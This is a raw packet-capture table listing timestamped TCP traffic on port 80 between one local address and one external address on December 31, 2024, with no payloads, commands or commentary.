Dec 31, 2024 09:48:42.466111898 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466111898 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.466111898 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.466129065 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466139078 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466150999 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466161013 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466173887 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.466173887 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.466232061 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466243029 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466253996 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466264009 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466273069 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.466273069 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.466275930 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466288090 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466325045 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.466325045 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.466330051 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466367006 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466372013 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.466377974 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466389894 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466404915 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466414928 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466425896 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466447115 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.466447115 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.466470003 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466481924 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466491938 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466500998 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466517925 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.466517925 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.466661930 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.466811895 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.499134064 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499151945 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499164104 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499174118 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499183893 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499222040 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.499330997 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.499480963 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499491930 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499501944 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499526978 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.499560118 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499572039 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499583960 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499607086 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.499607086 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.499639988 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499650955 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499660969 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499677896 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499687910 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.499691010 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499706984 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499707937 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.499718904 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499730110 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499741077 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499751091 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499759912 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.499759912 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.499763966 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499788046 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499815941 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.499815941 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.499851942 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499864101 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499874115 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499885082 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499911070 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.499922991 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499933958 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499946117 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499955893 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.499963999 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.499963999 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.499996901 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.521910906 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.521948099 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.521960020 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.521964073 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.521998882 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.522010088 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.522022009 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.522036076 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.522038937 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.522051096 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.522062063 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.522090912 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.522100925 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.522111893 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.522119045 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.522119045 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.522123098 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.522135019 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.522145987 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.522182941 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.522205114 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.522205114 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.555977106 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.555999041 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556011915 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556029081 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556046009 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556056976 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556058884 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556076050 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556087971 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556102037 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556108952 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556118965 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556134939 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556150913 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556162119 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556170940 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556180000 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556180000 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556183100 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556195974 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556206942 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556248903 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556252956 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556261063 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556272030 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556283951 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556284904 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556284904 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556296110 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556307077 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556322098 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556338072 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556349039 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556359053 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556382895 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556382895 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556390047 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556401968 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556416035 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556423903 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556428909 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556458950 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556468964 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556478024 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556483984 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556483984 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556489944 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556504011 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556545019 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556567907 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556580067 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556591988 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556602001 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556613922 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556622982 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556631088 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556643963 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556657076 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556674004 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556675911 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556675911 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556685925 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556696892 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556706905 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556720018 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556730986 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556751966 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556751966 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556777954 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556788921 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556806087 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556807995 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556817055 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556854010 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556854010 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556907892 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556920052 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556945086 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556952953 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.556953907 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556965113 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556977034 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.556993961 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.557004929 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.557014942 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.557018995 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.557018995 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.557027102 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.557038069 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.557054996 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.557066917 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.557073116 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.557073116 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.557081938 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.557094097 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.557109118 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.557121992 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.557130098 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.557130098 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.557145119 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.557193995 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.557193995 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.557224035 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.557239056 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.557269096 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.557312965 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.557317972 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.557343006 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.557368994 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.557372093 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.557403088 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.557432890 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.557473898 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.557475090 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.590087891 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590142012 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590193033 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590224981 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590259075 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590265989 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.590291977 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590292931 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.590327978 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590358019 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.590361118 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590405941 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590454102 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590487003 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590498924 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.590498924 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.590536118 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590599060 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590609074 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.590632915 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590666056 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590693951 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590711117 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.590740919 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590776920 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590811014 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.590826035 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590858936 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.590858936 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590892076 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590924978 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590970039 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.590977907 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.590977907 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.591003895 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.591031075 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.591064930 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.591094971 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.591098070 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.591130972 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.591162920 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.591178894 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.591188908 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.591196060 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.591242075 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.612911940 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.612962961 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.612997055 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.613029003 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.613068104 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.613073111 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.613104105 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.613121986 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.613154888 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.613203049 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.613234997 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.613265991 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.613276958 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.613289118 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.613322020 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.613328934 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.613353968 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.613387108 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.613419056 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.613451958 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.613459110 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.613459110 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.646892071 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.646915913 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.646929026 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.646939039 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.646955967 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.646966934 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.646977901 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.646980047 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.646980047 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.646989107 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647015095 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647027016 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647036076 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647047043 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647053957 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.647053957 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.647059917 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647083044 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647100925 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647113085 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647113085 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.647113085 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.647124052 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647135019 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647146940 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647175074 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.647175074 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.647183895 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647203922 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647255898 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647262096 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.647290945 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647335052 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.647335052 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.647361040 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647425890 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647474051 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647545099 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647578001 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647583008 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.647627115 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647660017 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647684097 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.647711039 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647713900 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.647768021 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.647769928 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647818089 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647867918 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647917032 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647931099 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.647968054 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.647984028 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.648035049 CET	80	49716	185.215.113.16	192.168.2.5
